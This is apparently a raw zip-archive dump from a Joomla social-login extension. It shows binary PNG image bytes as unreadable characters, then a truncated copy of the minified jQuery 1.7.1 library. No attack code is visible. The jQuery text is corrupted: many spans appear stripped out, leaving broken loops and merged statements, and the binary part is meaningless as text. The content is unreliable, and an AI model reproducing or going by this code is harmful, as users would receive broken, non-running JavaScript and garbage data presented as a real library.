,3b%+2V_ ! 1DaFbR]=08,Ȥr9L! ,2r'+JdL &v`\bThYB)@<&,ȤR! ,3 9tڞ0!.BW1  sa50 m)J! ,2 ٜU]qp`a4AF0` @1Α! ,20IeBԜ) q10ʰPaVڥ ub[;PK@y>\Š  3components/com_sociallogin/assets/img/status_ok.pngnuW+APNG  IHDRagAMA7tEXtSoftwareAdobe ImageReadyqe<IDAT8˥KSa;vvl dD!P{$; ż,Kݽ6cL2r^H)-jsNm֔2qQB̽BatoL#z {q' r=)La8,u%2Rg>ݾW ϛJ߸Pd makD|=G Vn6[Įd桚(Pm.0Q`'Fb#&ܧ6aP׏Q12[+zi; ]C17оpI9̾jD}›?7ayze,hXAK^3*bk @+wQ=!}uXzq:g쯺n= :d+_GTA;Ր Jƣ.!P)5!H:epր"݂"Kyw|{H2!i~3z_X;okBZK* ^R:O(jF*^ȰS诿_ gЬycIENDB`PK@y>\q6components/com_sociallogin/assets/img/status_error.pngnuW+APNG  IHDRagAMA7tEXtSoftwareAdobe ImageReadyqe<!IDAT8˕NQɉϠVȑB[( &^M6M| Dްҙv:官J-%Nd LB>w_3:*WrlNC/-좕B'{ u_a46ҽbߡE%D47;ٻƩ;8ˣ}>6[ӕS@*Z Qk>~͵hB\9uxZvYb J Cيٽ?BYvn&kft$,d9Zap\^ Y7 QJF 9=Q4 ؜Io SBpsI) Fv(@yՎވc\@ %% Z2h'@d(<|áaJuM@O⤁LGjd!X8Af 5J i K->w62ƾWH}:mP]XB0QX=ib_g=!Ftt…clrIENDB`PK@y>\Y~nn.components/com_sociallogin/assets/js/jquery.jsnuW+A/*! jQuery v1.7.1 jquery.com | jquery.org/license */ (function(a,b){function cy(a){return f.isWindow(a)?a:a.nodeType===9?a.defaultView||a.parentWindow:!1}function cv(a){if(!ck[a]){var b=c.body,d=f("<"+a+">").appendTo(b),e=d.css("display");d.remove();if(e==="none"||e===""){cl||(cl=c.createElement("iframe"),cl.frameBorder=cl.width=cl.height=0),b.appendChild(cl);if(!cm||!cl.createElement)cm=(cl.contentWindow||cl.contentDocument).document,cm.write((c.compatMode==="CSS1Compat"?"":"")+""),cm.close();d=cm.createElement(a),cm.body.appendChild(d),e=f.css(d,"display"),b.removeChild(cl)}ck[a]=e}return ck[a]}function cu(a,b){var c={};f.each(cq.concat.apply([],cq.slice(0,b)),function(){c[this]=a});return c}function ct(){cr=b}function cs(){setTimeout(ct,0);return cr=f.now()}function cj(){try{return new a.ActiveXObject("Microsoft.XMLHTTP")}catch(b){}}function ci(){try{return new a.XMLHttpRequest}catch(b){}}function cc(a,c){a.dataFilter&&(c=a.dataFilter(c,a.dataType));var d=a.dataTypes,e={},g,h,i=d.length,j,k=d[0],l,m,n,o,p;for(g=1;g0){if(c!=="border")for(;g=0===c})}function S(a){return!a||!a.parentNode||a.parentNode.nodeType===11}function K(){return!0}function J(){return!1}function n(a,b,c){var d=b+"defer",e=b+"queue",g=b+"mark",h=f._data(a,d);h&&(c==="queue"||!f._data(a,e))&&(c==="mark"||!f._data(a,g))&&setTimeout(function(){!f._data(a,e)&&!f._data(a,g)&&(f.removeData(a,d,!0),h.fire())},0)}function m(a){for(var b in a){if(b==="data"&&f.isEmptyObject(a[b]))continue;if(b!=="toJSON")return!1}return!0}function l(a,c,d){if(d===b&&a.nodeType===1){var e="data-"+c.replace(k,"-$1").toLowerCase();d=a.getAttribute(e);if(typeof d=="string"){try{d=d==="true"?!0:d==="false"?!1:d==="null"?null:f.isNumeric(d)?parseFloat(d):j.test(d)?f.parseJSON(d):d}catch(g){}f.data(a,c,d)}else d=b}return d}function h(a){var b=g[a]={},c,d;a=a.split(/\s+/);for(c=0,d=a.length;c)[^>]*$|#([\w\-]*)$)/,j=/\S/,k=/^\s+/,l=/\s+$/,m=/^<(\w+)\s*\/?>(?:<\/\1>)?$/,n=/^[\],:{}\s]*$/,o=/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g,p=/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,q=/(?:^|:|,)(?:\s*\[)+/g,r=/(webkit)[ \/]([\w.]+)/,s=/(opera)(?:.*version)?[ \/]([\w.]+)/,t=/(msie) ([\w.]+)/,u=/(mozilla)(?:.*? rv:([\w.]+))?/,v=/-([a-z]|[0-9])/ig,w=/^-ms-/,x=function(a,b){return(b+"").toUpperCase()},y=d.userAgent,z,A,B,C=Object.prototype.toString,D=Object.prototype.hasOwnProperty,E=Array.prototype.push,F=Array.prototype.slice,G=String.prototype.trim,H=Array.prototype.indexOf,I={};e.fn=e.prototype={constructor:e,init:function(a,d,f){var g,h,j,k;if(!a)return this;if(a.nodeType){this.context=this[0]=a,this.length=1;return this}if(a==="body"&&!d&&c.body){this.context=c,this[0]=c.body,this.selector=a,this.length=1;return this}if(typeof a=="string"){a.charAt(0)!=="<"||a.charAt(a.length-1)!==">"||a.length<3?g=i.exec(a):g=[null,a,null];if(g&&(g[1]||!d)){if(g[1]){d=d instanceof e?d[0]:d,k=d?d.ownerDocument||d:c,j=m.exec(a),j?e.isPlainObject(d)?(a=[c.createElement(j[1])],e.fn.attr.call(a,d,!0)):a=[k.createElement(j[1])]:(j=e.buildFragment([g[1]],[k]),a=(j.cacheable?e.clone(j.fragment):j.fragment).childNodes);return e.merge(this,a)}h=c.getElementById(g[2]);if(h&&h.parentNode){if(h.id!==g[2])return f.find(a);this.length=1,this[0]=h}this.context=c,this.selector=a;return this}return!d||d.jquery?(d||f).find(a):this.constructor(d).find(a)}if(e.isFunction(a))return f.ready(a);a.selector!==b&&(this.selector=a.selector,this.context=a.context);return e.makeArray(a,this)},selector:"",jquery:"1.7.1",length:0,size:function(){return this.length},toArray:function(){return F.call(this,0)},get:function(a){return a==null?this.toArray():a<0?this[this.length+a]:this[a]},pushStack:function(a,b,c){var d=this.constructor();e.isArray(a)?E.apply(d,a):e.merge(d,a),d.prevObject=this,d.context=this.context,b==="find"?d.selector=this.selector+(this.selector?" ":"")+c:b&&(d.selector=this.selector+"."+b+"("+c+")");return d},each:function(a,b){return e.each(this,a,b)},ready:function(a){e.bindReady(),A.add(a);return this},eq:function(a){a=+a;return a===-1?this.slice(a):this.slice(a,a+1)},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},slice:function(){return this.pushStack(F.apply(this,arguments),"slice",F.call(arguments).join(","))},map:function(a){return this.pushStack(e.map(this,function(b,c){return a.call(b,c,b)}))},end:function(){return this.prevObject||this.constructor(null)},push:E,sort:[].sort,splice:[].splice},e.fn.init.prototype=e.fn,e.extend=e.fn.extend=function(){var a,c,d,f,g,h,i=arguments[0]||{},j=1,k=arguments.length,l=!1;typeof i=="boolean"&&(l=i,i=arguments[1]||{},j=2),typeof i!="object"&&!e.isFunction(i)&&(i={}),k===j&&(i=this,--j);for(;j0)return;A.fireWith(c,[e]),e.fn.trigger&&e(c).trigger("ready").off("ready")}},bindReady:function(){if(!A){A=e.Callbacks("once memory");if(c.readyState==="complete")return setTimeout(e.ready,1);if(c.addEventListener)c.addEventListener("DOMContentLoaded",B,!1),a.addEventListener("load",e.ready,!1);else if(c.attachEvent){c.attachEvent("onreadystatechange",B),a.attachEvent("onload",e.ready);var b=!1;try{b=a.frameElement==null}catch(d){}c.documentElement.doScroll&&b&&J()}}},isFunction:function(a){return e.type(a)==="function"},isArray:Array.isArray||function(a){return e.type(a)==="array"},isWindow:function(a){return a&&typeof a=="object"&&"setInterval"in a},isNumeric:function(a){return!isNaN(parseFloat(a))&&isFinite(a)},type:function(a){return a==null?String(a):I[C.call(a)]||"object"},isPlainObject:function(a){if(!a||e.type(a)!=="object"||a.nodeType||e.isWindow(a))return!1;try{if(a.constructor&&!D.call(a,"constructor")&&!D.call(a.constructor.prototype,"isPrototypeOf"))return!1}catch(c){return!1}var d;for(d in a);return d===b||D.call(a,d)},isEmptyObject:function(a){for(var b in a)return!1;return!0},error:function(a){throw new Error(a)},parseJSON:function(b){if(typeof b!="string"||!b)return null;b=e.trim(b);if(a.JSON&&a.JSON.parse)return a.JSON.parse(b);if(n.test(b.replace(o,"@").replace(p,"]").replace(q,"")))return(new Function("return "+b))();e.error("Invalid JSON: "+b)},parseXML:function(c){var d,f;try{a.DOMParser?(f=new DOMParser,d=f.parseFromString(c,"text/xml")):(d=new ActiveXObject("Microsoft.XMLDOM"),d.async="false",d.loadXML(c))}catch(g){d=b}(!d||!d.documentElement||d.getElementsByTagName("parsererror").length)&&e.error("Invalid XML: "+c);return d},noop:function(){},globalEval:function(b){b&&j.test(b)&&(a.execScript||function(b){a.eval.call(a,b)})(b)},camelCase:function(a){return a.replace(w,"ms-").replace(v,x)},nodeName:function(a,b){return a.nodeName&&a.nodeName.toUpperCase()===b.toUpperCase()},each:function(a,c,d){var f,g=0,h=a.length,i=h===b||e.isFunction(a);if(d){if(i){for(f in a)if(c.apply(a[f],d)===!1)break}else for(;g0&&a[0]&&a[j-1]||j===0||e.isArray(a));if(k)for(;i1?i.call(arguments,0):b,j.notifyWith(k,e)}}function l(a){return function(c){b[a]=arguments.length>1?i.call(arguments,0):c,--g||j.resolveWith(j,b)}}var b=i.call(arguments,0),c=0,d=b.length,e=Array(d),g=d,h=d,j=d<=1&&a&&f.isFunction(a.promise)?a:f.Deferred(),k=j.promise();if(d>1){for(;c
      a",d=q.getElementsByTagName("*"),e=q.getElementsByTagName("a")[0];if(!d||!d.length||!e)return{};g=c.createElement("select"),h=g.appendChild(c.createElement("option")),i=q.getElementsByTagName("input")[0],b={leadingWhitespace:q.firstChild.nodeType===3,tbody:!q.getElementsByTagName("tbody").length,htmlSerialize:!!q.getElementsByTagName("link").length,style:/top/.test(e.getAttribute("style")),hrefNormalized:e.getAttribute("href")==="/a",opacity:/^0.55/.test(e.style.opacity),cssFloat:!!e.style.cssFloat,checkOn:i.value==="on",optSelected:h.selected,getSetAttribute:q.className!=="t",enctype:!!c.createElement("form").enctype,html5Clone:c.createElement("nav").cloneNode(!0).outerHTML!=="<:nav>",submitBubbles:!0,changeBubbles:!0,focusinBubbles:!1,deleteExpando:!0,noCloneEvent:!0,inlineBlockNeedsLayout:!1,shrinkWrapBlocks:!1,reliableMarginRight:!0},i.checked=!0,b.noCloneChecked=i.cloneNode(!0).checked,g.disabled=!0,b.optDisabled=!h.disabled;try{delete q.test}catch(s){b.deleteExpando=!1}!q.addEventListener&&q.attachEvent&&q.fireEvent&&(q.attachEvent("onclick",function(){b.noCloneEvent=!1}),q.cloneNode(!0).fireEvent("onclick")),i=c.createElement("input"),i.value="t",i.setAttribute("type","radio"),b.radioValue=i.value==="t",i.setAttribute("checked","checked"),q.appendChild(i),k=c.createDocumentFragment(),k.appendChild(q.lastChild),b.checkClone=k.cloneNode(!0).cloneNode(!0).lastChild.checked,b.appendChecked=i.checked,k.removeChild(i),k.appendChild(q),q.innerHTML="",a.getComputedStyle&&(j=c.createElement("div"),j.style.width="0",j.style.marginRight="0",q.style.width="2px",q.appendChild(j),b.reliableMarginRight=(parseInt((a.getComputedStyle(j,null)||{marginRight:0}).marginRight,10)||0)===0);if(q.attachEvent)for(o in{submit:1,change:1,focusin:1})n="on"+o,p=n in q,p||(q.setAttribute(n,"return;"),p=typeof q[n]=="function"),b[o+"Bubbles"]=p;k.removeChild(q),k=g=h=j=q=i=null,f(function(){var a,d,e,g,h,i,j,k,m,n,o,r=c.getElementsByTagName("body")[0];!r||(j=1,k="position:absolute;top:0;left:0;width:1px;height:1px;margin:0;",m="visibility:hidden;border:0;",n="style='"+k+"border:5px solid #000;padding:0;'",o="
      "+""+"
      ",a=c.createElement("div"),a.style.cssText=m+"width:0;height:0;position:static;top:0;margin-top:"+j+"px",r.insertBefore(a,r.firstChild),q=c.createElement("div"),a.appendChild(q),q.innerHTML="
      t
      ",l=q.getElementsByTagName("td"),p=l[0].offsetHeight===0,l[0].style.display="",l[1].style.display="none",b.reliableHiddenOffsets=p&&l[0].offsetHeight===0,q.innerHTML="",q.style.width=q.style.paddingLeft="1px",f.boxModel=b.boxModel=q.offsetWidth===2,typeof q.style.zoom!="undefined"&&(q.style.display="inline",q.style.zoom=1,b.inlineBlockNeedsLayout=q.offsetWidth===2,q.style.display="",q.innerHTML="
      ",b.shrinkWrapBlocks=q.offsetWidth!==2),q.style.cssText=k+m,q.innerHTML=o,d=q.firstChild,e=d.firstChild,h=d.nextSibling.firstChild.firstChild,i={doesNotAddBorder:e.offsetTop!==5,doesAddBorderForTableAndCells:h.offsetTop===5},e.style.position="fixed",e.style.top="20px",i.fixedPosition=e.offsetTop===20||e.offsetTop===15,e.style.position=e.style.top="",d.style.overflow="hidden",d.style.position="relative",i.subtractsBorderForOverflowNotVisible=e.offsetTop===-5,i.doesNotIncludeMarginInBodyOffset=r.offsetTop!==j,r.removeChild(a),q=a=null,f.extend(b,i))});return b}();var j=/^(?:\{.*\}|\[.*\])$/,k=/([A-Z])/g;f.extend({cache:{},uuid:0,expando:"jQuery"+(f.fn.jquery+Math.random()).replace(/\D/g,""),noData:{embed:!0,object:"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000",applet:!0},hasData:function(a){a=a.nodeType?f.cache[a[f.expando]]:a[f.expando];return!!a&&!m(a)},data:function(a,c,d,e){if(!!f.acceptData(a)){var g,h,i,j=f.expando,k=typeof c=="string",l=a.nodeType,m=l?f.cache:a,n=l?a[j]:a[j]&&j,o=c==="events";if((!n||!m[n]||!o&&!e&&!m[n].data)&&k&&d===b)return;n||(l?a[j]=n=++f.uuid:n=j),m[n]||(m[n]={},l||(m[n].toJSON=f.noop));if(typeof c=="object"||typeof c=="function")e?m[n]=f.extend(m[n],c):m[n].data=f.extend(m[n].data,c);g=h=m[n],e||(h.data||(h.data={}),h=h.data),d!==b&&(h[f.camelCase(c)]=d);if(o&&!h[c])return g.events;k?(i=h[c],i==null&&(i=h[f.camelCase(c)])):i=h;return i}},removeData:function(a,b,c){if(!!f.acceptData(a)){var d,e,g,h=f.expando,i=a.nodeType,j=i?f.cache:a,k=i?a[h]:h;if(!j[k])return;if(b){d=c?j[k]:j[k].data;if(d){f.isArray(b)||(b in d?b=[b]:(b=f.camelCase(b),b in d?b=[b]:b=b.split(" ")));for(e=0,g=b.length;e-1)return!0;return!1},val:function(a){var c,d,e,g=this[0];{if(!!arguments.length){e=f.isFunction(a);return this.each(function(d){var g=f(this),h;if(this.nodeType===1){e?h=a.call(this,d,g.val()):h=a,h==null?h="":typeof h=="number"?h+="":f.isArray(h)&&(h=f.map(h,function(a){return a==null?"":a+""})),c=f.valHooks[this.nodeName.toLowerCase()]||f.valHooks[this.type];if(!c||!("set"in c)||c.set(this,h,"value")===b)this.value=h}})}if(g){c=f.valHooks[g.nodeName.toLowerCase()]||f.valHooks[g.type];if(c&&"get"in c&&(d=c.get(g,"value"))!==b)return d;d=g.value;return typeof d=="string"?d.replace(q,""):d==null?"":d}}}}),f.extend({valHooks:{option:{get:function(a){var b=a.attributes.value;return!b||b.specified?a.value:a.text}},select:{get:function(a){var b,c,d,e,g=a.selectedIndex,h=[],i=a.options,j=a.type==="select-one";if(g<0)return null;c=j?g:0,d=j?g+1:i.length;for(;c=0}),c.length||(a.selectedIndex=-1);return c}}},attrFn:{val:!0,css:!0,html:!0,text:!0,data:!0,width:!0,height:!0,offset:!0},attr:function(a,c,d,e){var g,h,i,j=a.nodeType;if(!!a&&j!==3&&j!==8&&j!==2){if(e&&c in f.attrFn)return f(a)[c](d);if(typeof a.getAttribute=="undefined")return f.prop(a,c,d);i=j!==1||!f.isXMLDoc(a),i&&(c=c.toLowerCase(),h=f.attrHooks[c]||(u.test(c)?x:w));if(d!==b){if(d===null){f.removeAttr(a,c);return}if(h&&"set"in h&&i&&(g=h.set(a,d,c))!==b)return g;a.setAttribute(c,""+d);return d}if(h&&"get"in h&&i&&(g=h.get(a,c))!==null)return g;g=a.getAttribute(c);return g===null?b:g}},removeAttr:function(a,b){var c,d,e,g,h=0;if(b&&a.nodeType===1){d=b.toLowerCase().split(p),g=d.length;for(;h=0}})});var z=/^(?:textarea|input|select)$/i,A=/^([^\.]*)?(?:\.(.+))?$/,B=/\bhover(\.\S+)?\b/,C=/^key/,D=/^(?:mouse|contextmenu)|click/,E=/^(?:focusinfocus|focusoutblur)$/,F=/^(\w*)(?:#([\w\-]+))?(?:\.([\w\-]+))?$/,G=function(a){var b=F.exec(a);b&&(b[1]=(b[1]||"").toLowerCase(),b[3]=b[3]&&new RegExp("(?:^|\\s)"+b[3]+"(?:\\s|$)"));return b},H=function(a,b){var c=a.attributes||{};return(!b[1]||a.nodeName.toLowerCase()===b[1])&&(!b[2]||(c.id||{}).value===b[2])&&(!b[3]||b[3].test((c["class"]||{}).value))},I=function(a){return f.event.special.hover?a:a.replace(B,"mouseenter$1 mouseleave$1")}; f.event={add:function(a,c,d,e,g){var h,i,j,k,l,m,n,o,p,q,r,s;if(!(a.nodeType===3||a.nodeType===8||!c||!d||!(h=f._data(a)))){d.handler&&(p=d,d=p.handler),d.guid||(d.guid=f.guid++),j=h.events,j||(h.events=j={}),i=h.handle,i||(h.handle=i=function(a){return typeof f!="undefined"&&(!a||f.event.triggered!==a.type)?f.event.dispatch.apply(i.elem,arguments):b},i.elem=a),c=f.trim(I(c)).split(" ");for(k=0;k=0&&(h=h.slice(0,-1),k=!0),h.indexOf(".")>=0&&(i=h.split("."),h=i.shift(),i.sort());if((!e||f.event.customEvent[h])&&!f.event.global[h])return;c=typeof c=="object"?c[f.expando]?c:new f.Event(h,c):new f.Event(h),c.type=h,c.isTrigger=!0,c.exclusive=k,c.namespace=i.join("."),c.namespace_re=c.namespace?new RegExp("(^|\\.)"+i.join("\\.(?:.*\\.)?")+"(\\.|$)"):null,o=h.indexOf(":")<0?"on"+h:"";if(!e){j=f.cache;for(l in j)j[l].events&&j[l].events[h]&&f.event.trigger(c,d,j[l].handle.elem,!0);return}c.result=b,c.target||(c.target=e),d=d!=null?f.makeArray(d):[],d.unshift(c),p=f.event.special[h]||{};if(p.trigger&&p.trigger.apply(e,d)===!1)return;r=[[e,p.bindType||h]];if(!g&&!p.noBubble&&!f.isWindow(e)){s=p.delegateType||h,m=E.test(s+h)?e:e.parentNode,n=null;for(;m;m=m.parentNode)r.push([m,s]),n=m;n&&n===e.ownerDocument&&r.push([n.defaultView||n.parentWindow||a,s])}for(l=0;le&&i.push({elem:this,matches:d.slice(e)});for(j=0;j0?this.on(b,null,a,c):this.trigger(b)},f.attrFn&&(f.attrFn[b]=!0),C.test(b)&&(f.event.fixHooks[b]=f.event.keyHooks),D.test(b)&&(f.event.fixHooks[b]=f.event.mouseHooks)}),function(){function x(a,b,c,e,f,g){for(var h=0,i=e.length;h0){k=j;break}}j=j[a]}e[h]=k}}}function w(a,b,c,e,f,g){for(var h=0,i=e.length;h+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g,d="sizcache"+(Math.random()+"").replace(".",""),e=0,g=Object.prototype.toString,h=!1,i=!0,j=/\\/g,k=/\r\n/g,l=/\W/;[0,0].sort(function(){i=!1;return 0});var m=function(b,d,e,f){e=e||[],d=d||c;var h=d;if(d.nodeType!==1&&d.nodeType!==9)return[];if(!b||typeof b!="string")return e;var i,j,k,l,n,q,r,t,u=!0,v=m.isXML(d),w=[],x=b;do{a.exec(""),i=a.exec(x);if(i){x=i[3],w.push(i[1]);if(i[2]){l=i[3];break}}}while(i);if(w.length>1&&p.exec(b))if(w.length===2&&o.relative[w[0]])j=y(w[0]+w[1],d,f);else{j=o.relative[w[0]]?[d]:m(w.shift(),d);while(w.length)b=w.shift(),o.relative[b]&&(b+=w.shift()),j=y(b,j,f)}else{!f&&w.length>1&&d.nodeType===9&&!v&&o.match.ID.test(w[0])&&!o.match.ID.test(w[w.length-1])&&(n=m.find(w.shift(),d,v),d=n.expr?m.filter(n.expr,n.set)[0]:n.set[0]);if(d){n=f?{expr:w.pop(),set:s(f)}:m.find(w.pop(),w.length===1&&(w[0]==="~"||w[0]==="+")&&d.parentNode?d.parentNode:d,v),j=n.expr?m.filter(n.expr,n.set):n.set,w.length>0?k=s(j):u=!1;while(w.length)q=w.pop(),r=q,o.relative[q]?r=w.pop():q="",r==null&&(r=d),o.relative[q](k,r,v)}else k=w=[]}k||(k=j),k||m.error(q||b);if(g.call(k)==="[object Array]")if(!u)e.push.apply(e,k);else if(d&&d.nodeType===1)for(t=0;k[t]!=null;t++)k[t]&&(k[t]===!0||k[t].nodeType===1&&m.contains(d,k[t]))&&e.push(j[t]);else for(t=0;k[t]!=null;t++)k[t]&&k[t].nodeType===1&&e.push(j[t]);else s(k,e);l&&(m(l,h,e,f),m.uniqueSort(e));return e};m.uniqueSort=function(a){if(u){h=i,a.sort(u);if(h)for(var b=1;b0},m.find=function(a,b,c){var d,e,f,g,h,i;if(!a)return[];for(e=0,f=o.order.length;e":function(a,b){var c,d=typeof b=="string",e=0,f=a.length;if(d&&!l.test(b)){b=b.toLowerCase();for(;e=0)?c||d.push(h):c&&(b[g]=!1));return!1},ID:function(a){return a[1].replace(j,"")},TAG:function(a,b){return a[1].replace(j,"").toLowerCase()},CHILD:function(a){if(a[1]==="nth"){a[2]||m.error(a[0]),a[2]=a[2].replace(/^\+|\s*/g,"");var b=/(-?)(\d*)(?:n([+\-]?\d*))?/.exec(a[2]==="even"&&"2n"||a[2]==="odd"&&"2n+1"||!/\D/.test(a[2])&&"0n+"+a[2]||a[2]);a[2]=b[1]+(b[2]||1)-0,a[3]=b[3]-0}else a[2]&&m.error(a[0]);a[0]=e++;return a},ATTR:function(a,b,c,d,e,f){var g=a[1]=a[1].replace(j,"");!f&&o.attrMap[g]&&(a[1]=o.attrMap[g]),a[4]=(a[4]||a[5]||"").replace(j,""),a[2]==="~="&&(a[4]=" "+a[4]+" ");return a},PSEUDO:function(b,c,d,e,f){if(b[1]==="not")if((a.exec(b[3])||"").length>1||/^\w/.test(b[3]))b[3]=m(b[3],null,null,c);else{var g=m.filter(b[3],c,d,!0^f);d||e.push.apply(e,g);return!1}else if(o.match.POS.test(b[0])||o.match.CHILD.test(b[0]))return!0;return b},POS:function(a){a.unshift(!0);return a}},filters:{enabled:function(a){return a.disabled===!1&&a.type!=="hidden"},disabled:function(a){return a.disabled===!0},checked:function(a){return a.checked===!0},selected:function(a){a.parentNode&&a.parentNode.selectedIndex;return a.selected===!0},parent:function(a){return!!a.firstChild},empty:function(a){return!a.firstChild},has:function(a,b,c){return!!m(c[3],a).length},header:function(a){return/h\d/i.test(a.nodeName)},text:function(a){var b=a.getAttribute("type"),c=a.type;return a.nodeName.toLowerCase()==="input"&&"text"===c&&(b===c||b===null)},radio:function(a){return a.nodeName.toLowerCase()==="input"&&"radio"===a.type},checkbox:function(a){return a.nodeName.toLowerCase()==="input"&&"checkbox"===a.type},file:function(a){return a.nodeName.toLowerCase()==="input"&&"file"===a.type},password:function(a){return a.nodeName.toLowerCase()==="input"&&"password"===a.type},submit:function(a){var b=a.nodeName.toLowerCase();return(b==="input"||b==="button")&&"submit"===a.type},image:function(a){return a.nodeName.toLowerCase()==="input"&&"image"===a.type},reset:function(a){var b=a.nodeName.toLowerCase();return(b==="input"||b==="button")&&"reset"===a.type},button:function(a){var b=a.nodeName.toLowerCase();return b==="input"&&"button"===a.type||b==="button"},input:function(a){return/input|select|textarea|button/i.test(a.nodeName)},focus:function(a){return a===a.ownerDocument.activeElement}},setFilters:{first:function(a,b){return b===0},last:function(a,b,c,d){return b===d.length-1},even:function(a,b){return b%2===0},odd:function(a,b){return b%2===1},lt:function(a,b,c){return bc[3]-0},nth:function(a,b,c){return c[3]-0===b},eq:function(a,b,c){return c[3]-0===b}},filter:{PSEUDO:function(a,b,c,d){var e=b[1],f=o.filters[e];if(f)return f(a,c,b,d);if(e==="contains")return(a.textContent||a.innerText||n([a])||"").indexOf(b[3])>=0;if(e==="not"){var g=b[3];for(var h=0,i=g.length;h=0}},ID:function(a,b){return a.nodeType===1&&a.getAttribute("id")===b},TAG:function(a,b){return b==="*"&&a.nodeType===1||!!a.nodeName&&a.nodeName.toLowerCase()===b},CLASS:function(a,b){return(" "+(a.className||a.getAttribute("class"))+" ").indexOf(b)>-1},ATTR:function(a,b){var c=b[1],d=m.attr?m.attr(a,c):o.attrHandle[c]?o.attrHandle[c](a):a[c]!=null?a[c]:a.getAttribute(c),e=d+"",f=b[2],g=b[4];return d==null?f==="!=":!f&&m.attr?d!=null:f==="="?e===g:f==="*="?e.indexOf(g)>=0:f==="~="?(" "+e+" ").indexOf(g)>=0:g?f==="!="?e!==g:f==="^="?e.indexOf(g)===0:f==="$="?e.substr(e.length-g.length)===g:f==="|="?e===g||e.substr(0,g.length+1)===g+"-":!1:e&&d!==!1},POS:function(a,b,c,d){var e=b[2],f=o.setFilters[e];if(f)return f(a,c,b,d)}}},p=o.match.POS,q=function(a,b){return"\\"+(b-0+1)};for(var r in o.match)o.match[r]=new RegExp(o.match[r].source+/(?![^\[]*\])(?![^\(]*\))/.source),o.leftMatch[r]=new RegExp(/(^(?:.|\r|\n)*?)/.source+o.match[r].source.replace(/\\(\d+)/g,q));var s=function(a,b){a=Array.prototype.slice.call(a,0);if(b){b.push.apply(b,a);return b}return a};try{Array.prototype.slice.call(c.documentElement.childNodes,0)[0].nodeType}catch(t){s=function(a,b){var c=0,d=b||[];if(g.call(a)==="[object Array]")Array.prototype.push.apply(d,a);else if(typeof a.length=="number")for(var e=a.length;c",e.insertBefore(a,e.firstChild),c.getElementById(d)&&(o.find.ID=function(a,c,d){if(typeof c.getElementById!="undefined"&&!d){var e=c.getElementById(a[1]);return e?e.id===a[1]||typeof e.getAttributeNode!="undefined"&&e.getAttributeNode("id").nodeValue===a[1]?[e]:b:[]}},o.filter.ID=function(a,b){var c=typeof a.getAttributeNode!="undefined"&&a.getAttributeNode("id");return a.nodeType===1&&c&&c.nodeValue===b}),e.removeChild(a),e=a=null}(),function(){var a=c.createElement("div");a.appendChild(c.createComment("")),a.getElementsByTagName("*").length>0&&(o.find.TAG=function(a,b){var c=b.getElementsByTagName(a[1]);if(a[1]==="*"){var d=[];for(var e=0;c[e];e++)c[e].nodeType===1&&d.push(c[e]);c=d}return c}),a.innerHTML="",a.firstChild&&typeof a.firstChild.getAttribute!="undefined"&&a.firstChild.getAttribute("href")!=="#"&&(o.attrHandle.href=function(a){return a.getAttribute("href",2)}),a=null}(),c.querySelectorAll&&function(){var a=m,b=c.createElement("div"),d="__sizzle__";b.innerHTML="

      ";if(!b.querySelectorAll||b.querySelectorAll(".TEST").length!==0){m=function(b,e,f,g){e=e||c;if(!g&&!m.isXML(e)){var h=/^(\w+$)|^\.([\w\-]+$)|^#([\w\-]+$)/.exec(b);if(h&&(e.nodeType===1||e.nodeType===9)){if(h[1])return s(e.getElementsByTagName(b),f);if(h[2]&&o.find.CLASS&&e.getElementsByClassName)return s(e.getElementsByClassName(h[2]),f)}if(e.nodeType===9){if(b==="body"&&e.body)return s([e.body],f);if(h&&h[3]){var i=e.getElementById(h[3]);if(!i||!i.parentNode)return s([],f);if(i.id===h[3])return s([i],f)}try{return s(e.querySelectorAll(b),f)}catch(j){}}else if(e.nodeType===1&&e.nodeName.toLowerCase()!=="object"){var k=e,l=e.getAttribute("id"),n=l||d,p=e.parentNode,q=/^\s*[+~]/.test(b);l?n=n.replace(/'/g,"\\$&"):e.setAttribute("id",n),q&&p&&(e=e.parentNode);try{if(!q||p)return s(e.querySelectorAll("[id='"+n+"'] "+b),f)}catch(r){}finally{l||k.removeAttribute("id")}}}return a(b,e,f,g)};for(var e in a)m[e]=a[e];b=null}}(),function(){var a=c.documentElement,b=a.matchesSelector||a.mozMatchesSelector||a.webkitMatchesSelector||a.msMatchesSelector;if(b){var d=!b.call(c.createElement("div"),"div"),e=!1;try{b.call(c.documentElement,"[test!='']:sizzle")}catch(f){e=!0}m.matchesSelector=function(a,c){c=c.replace(/\=\s*([^'"\]]*)\s*\]/g,"='$1']");if(!m.isXML(a))try{if(e||!o.match.PSEUDO.test(c)&&!/!=/.test(c)){var f=b.call(a,c);if(f||!d||a.document&&a.document.nodeType!==11)return f}}catch(g){}return m(c,null,null,[a]).length>0}}}(),function(){var a=c.createElement("div");a.innerHTML="
      ";if(!!a.getElementsByClassName&&a.getElementsByClassName("e").length!==0){a.lastChild.className="e";if(a.getElementsByClassName("e").length===1)return;o.order.splice(1,0,"CLASS"),o.find.CLASS=function(a,b,c){if(typeof b.getElementsByClassName!="undefined"&&!c)return b.getElementsByClassName(a[1])},a=null}}(),c.documentElement.contains?m.contains=function(a,b){return a!==b&&(a.contains?a.contains(b):!0)}:c.documentElement.compareDocumentPosition?m.contains=function(a,b){return!!(a.compareDocumentPosition(b)&16)}:m.contains=function(){return!1},m.isXML=function(a){var b=(a?a.ownerDocument||a:0).documentElement;return b?b.nodeName!=="HTML":!1};var y=function(a,b,c){var d,e=[],f="",g=b.nodeType?[b]:b;while(d=o.match.PSEUDO.exec(a))f+=d[0],a=a.replace(o.match.PSEUDO,"");a=o.relative[a]?a+"*":a;for(var h=0,i=g.length;h0)for(h=g;h=0:f.filter(a,this).length>0:this.filter(a).length>0)},closest:function(a,b){var c=[],d,e,g=this[0];if(f.isArray(a)){var h=1;while(g&&g.ownerDocument&&g!==b){for(d=0;d-1:f.find.matchesSelector(g,a)){c.push(g);break}g=g.parentNode;if(!g||!g.ownerDocument||g===b||g.nodeType===11)break}}c=c.length>1?f.unique(c):c;return this.pushStack(c,"closest",a)},index:function(a){if(!a)return this[0]&&this[0].parentNode?this.prevAll().length:-1;if(typeof a=="string")return f.inArray(this[0],f(a));return f.inArray(a.jquery?a[0]:a,this)},add:function(a,b){var c=typeof 